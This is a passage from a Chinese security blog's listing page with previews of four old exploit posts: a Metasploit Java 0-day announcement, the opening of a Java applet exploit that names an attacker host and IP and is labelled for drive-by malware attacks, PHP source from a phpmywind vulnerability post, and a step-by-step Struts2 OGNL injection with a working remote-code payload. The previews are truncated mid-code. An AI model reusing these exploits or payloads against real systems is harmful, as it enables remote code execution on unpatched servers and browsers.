Let's start the week with a new Java 0-day in Metasploit

老系统内容 ASP Java
约 391 字 预计阅读 1 分钟
On late Sunday night, the Metasploit Exploit team was looking for kicks, and heard the word on the street that someone was passing around a reliable Java 0-day exploit. Big thanks to Joshua J. Drake (jduck), we got our hands on that PoC, and then once again, started our voodoo ritual. Within a couple of hours, we have a working exploit. Download Metasploit here, and apply the latest update to
阅读全文

jre 远程代码执行 0day，可进行挂马攻击

老系统内容 0day 代码 代码执行 攻击 远程
约 422 字 预计阅读 1 分钟
// // CVE-2012-XXXX Java 0day // // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // // secret host / ip : ok.aa24.net / 59.120.154.62 // // regurgitated by jduck // // probably a metasploit module soon... // package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement =
阅读全文

phpmywind 多个鸡肋漏洞

老系统内容 PHP 漏洞
约 716 字 预计阅读 2 分钟
硬盘里面有个程序看看 不知道是不是最新的 套着看吧 Author:mOon Blog:www.moonhack.org upload_filemgr_dir.php <?php if(empty($dirname) or $dirname=='uploads/') { $dirname = 'uploads/'; $dirhigh = 'javascript:;'; $dirtext = '上传根目录'; } else { $dirarr = explode('/', $dirname); $curnum = count($dirarr)-2; $dirhigh = '?mode=dir&dirname='; $dirtext = '返回上一层';
阅读全文

apache struts2 remote code execute

老系统内容 exe Struts
约 291 字 预计阅读 1 分钟
apache struts2 remote code execute, Aug 21 2012 01:54 PM. this method was published at xcon2012 xcon.xfocus.net. kxlzx http://www.inbreak.net flow this and step by step: 1, down load struts2-showcase from struts.apache.org 2, run struts2-showcase. 3, open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRIN G-DEV 4, write skill name to %{expr} for example: %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.Metho dAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts 2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println( 'hacked by kxlzx'),#hackedbykxlzx.close())} 5, submit and all will done. this method: public static String translateVariables(String expression, ValueStack stack) { return
阅读全文